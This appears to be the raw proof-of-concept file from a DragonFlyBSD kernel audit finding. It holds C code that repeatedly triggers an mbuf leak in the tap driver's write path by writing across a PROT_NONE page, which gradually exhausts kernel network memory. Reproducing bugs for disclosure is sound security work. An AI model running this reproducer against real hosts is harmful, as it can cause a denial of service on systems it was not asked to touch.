⬢ DragonFlyBSD Kernel Audit
DF-3406 / tapleak.c
← back to finding ↓ download raw
/*
 * tapleak.c -- DF-3406: one mbuf leaked per EFAULTing tapwrite
 *
 * tapwrite() (sys/net/tap/if_tap.c:917) allocates the NEXT chain mbuf at
 * the bottom of the loop *before* re-checking the loop condition:
 *
 *   while (error == 0 && uio->uio_resid > 0) {
 *           m->m_len = min(mlen, resid);
 *           error = uiomove(...);           <-- may fault
 *           *mp = m; mp = &m->m_next;
 *           if (uio->uio_resid > 0) {
 *                   MGET(m, M_WAITOK, MT_DATA);   <-- allocated even though
 *                   mlen = MLEN;                       error != 0 now
 *           }
 *   }
 *   if (error) { ... m_freem(top); return error; }  <-- fresh m never freed
 *
 * A write() whose buffer faults part-way (uiomove EFAULT with resid>0)
 * leaks exactly one MGET mbuf per call.  Repeat and watch netstat -m.
 *
 * build: cc -o tapleak tapleak.c
 * run  : ./tapleak <iterations>   (default 100000)
 */
#include <sys/types.h>
#include <sys/fcntl.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

int
main(int argc, char **argv)
{
	struct ifreq ifr;
	size_t pg = 4096;
	char *buf;
	int s, fd, i, n = 100000, ok = 0, efault = 0;

	if (argc > 1)
		n = atoi(argv[1]);

	/* create + open tap5 */
	s = socket(AF_INET, SOCK_DGRAM, 0);
	memset(&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, "tap5", IFNAMSIZ);
	ioctl(s, SIOCIFDESTROY, &ifr);		/* clean slate */
	if (ioctl(s, SIOCIFCREATE, &ifr) != 0 && errno != EEXIST) {
		perror("SIOCIFCREATE");
		return 1;
	}
	fd = open("/dev/tap5", O_RDWR);
	if (fd < 0) {
		perror("open /dev/tap5");
		return 1;
	}

	/* 2 pages, second PROT_NONE: writes fault when they reach page 2 */
	buf = mmap(NULL, pg * 2, PROT_READ | PROT_WRITE,
	    MAP_ANON | MAP_PRIVATE, -1, 0);
	if (buf == MAP_FAILED) {
		perror("mmap");
		return 1;
	}
	if (mprotect(buf + pg, pg, PROT_NONE) != 0) {
		perror("mprotect");
		return 1;
	}

	for (i = 0; i < n; i++) {
		ssize_t r = write(fd, buf, pg + 128);	/* crosses into bad page */
		if (r < 0) {
			if (errno == EFAULT)
				efault++;
		} else
			ok++;
	}
	printf("writes: ok=%d efault=%d (each EFAULT leaked one m_get mbuf)\n",
	    ok, efault);
	close(fd);
	memset(&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, "tap5", IFNAMSIZ);
	ioctl(s, SIOCIFDESTROY, &ifr);
	return (0);
}